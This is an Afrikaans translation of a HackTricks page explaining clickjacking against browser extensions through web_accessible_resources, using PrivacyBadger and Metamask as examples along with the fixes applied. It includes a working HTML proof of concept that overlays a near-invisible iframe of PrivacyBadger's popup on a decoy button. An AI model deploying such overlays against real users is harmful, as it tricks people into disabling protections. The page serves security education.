7.3 KiB
BrowExt - Klieklok
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kontroleer die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Basiese Inligting
Hierdie bladsy gaan 'n Klieklok-kwesbaarheid in 'n Blaaier-uitbreiding misbruik.
As jy nie weet wat Klieklok is nie, kyk:
{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}
Uitbreidings bevat die lêer manifest.json
en daardie JSON-lêer het 'n veld web_accessible_resources
. Hier is wat die Chrome-dokumentasie daaroor sê:
Hierdie bronne sal dan beskikbaar wees in 'n webbladsy via die URL
chrome-extension://[PAKKET-ID]/[PAD]
, wat gegenereer kan word met dieextension.getURL-metode
. Toegelate bronne word bedien met toepaslike CORS-koppe, sodat hulle beskikbaar is via meganismes soos XHR.1
Die web_accessible_resources
in 'n blaaier-uitbreiding is nie net toeganklik via die web nie; hulle werk ook met die uitbreiding se inherente voorregte. Dit beteken dat hulle die vermoë het om:
- Verander die uitbreiding se toestand
- Laai addisionele bronne
- Interageer met die blaaier tot 'n sekere mate
Hierdie kenmerk bied egter 'n veiligheidsrisiko. As 'n bron binne web_accessible_resources
enige beduidende funksionaliteit het, kan 'n aanvaller moontlik hierdie bron in 'n eksterne webbladsy insluit. Onvermoedende gebruikers wat hierdie bladsy besoek, kan hierdie ingeslote bron per ongeluk aktiveer. So 'n aktivering kan tot onbedoelde gevolge lei, afhangende van die toestemmings en vermoëns van die uitbreiding se bronne.
PrivacyBadger Voorbeeld
In die uitbreiding PrivacyBadger is 'n kwesbaarheid geïdentifiseer wat verband hou met die skin/
-gids wat op die volgende wyse as web_accessible_resources
verklaar is (Kyk na die oorspronklike blogpos):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Hierdie konfigurasie het gelei tot 'n potensiële sekuriteitsprobleem. Spesifiek, die skin/popup.html
lêer, wat weergegee word na interaksie met die PrivacyBadger-ikoon in die webblaaier, kon binne 'n iframe
ingesluit word. Hierdie insluiting kon uitgebuit word om gebruikers te mislei om per ongeluk op "Deaktiveer PrivacyBadger vir hierdie webwerf" te klik. So 'n aksie sou die gebruiker se privaatheid in gevaar stel deur die PrivacyBadger-beskerming te deaktiveer en moontlik die gebruiker aan verhoogde opsporing bloot te stel. 'n Visuele demonstrasie van hierdie aanval kan besigtig word in 'n ClickJacking-video voorbeeld wat verskaf word by https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Om hierdie kwesbaarheid aan te spreek, is 'n eenvoudige oplossing geïmplementeer: die verwydering van /skin/*
van die lys van web_accessible_resources
. Hierdie verandering het die risiko doeltreffend verminder deur te verseker dat die inhoud van die skin/
gids nie deur web-toeganklike bronne geopen of gemanipuleer kon word nie.
Die regstelling was maklik: verwyder /skin/*
van die web_accessible_resources
.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask Voorbeeld
'n Blogpos oor 'n ClickJacking in Metamask kan hier gevind word. In hierdie geval het Metamask die kwesbaarheid reggestel deur te kontroleer dat die protokol wat gebruik word om dit te benader, https:
of http:
was (nie chrome:
byvoorbeeld):
'n Ander ClickJacking wat reggestel is in die Metamask-uitbreiding was dat gebruikers kon Klik om te witlys wanneer 'n bladsy verdag van vishing was weens “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Aangesien daardie bladsy vatbaar was vir Clickjacking, kon 'n aanvaller dit misbruik deur iets normaals te wys om die slagoffer te laat klik om dit te witlys sonder om dit te besef, en dan terug te gaan na die vishing-bladsy wat gewitlys sal wees.
Steam Inventory Helper Voorbeeld
Kyk na die volgende bladsy om te sien hoe 'n XSS in 'n blaaieruitbreiding gekoppel was aan 'n ClickJacking-kwesbaarheid:
{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}
Verwysings
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.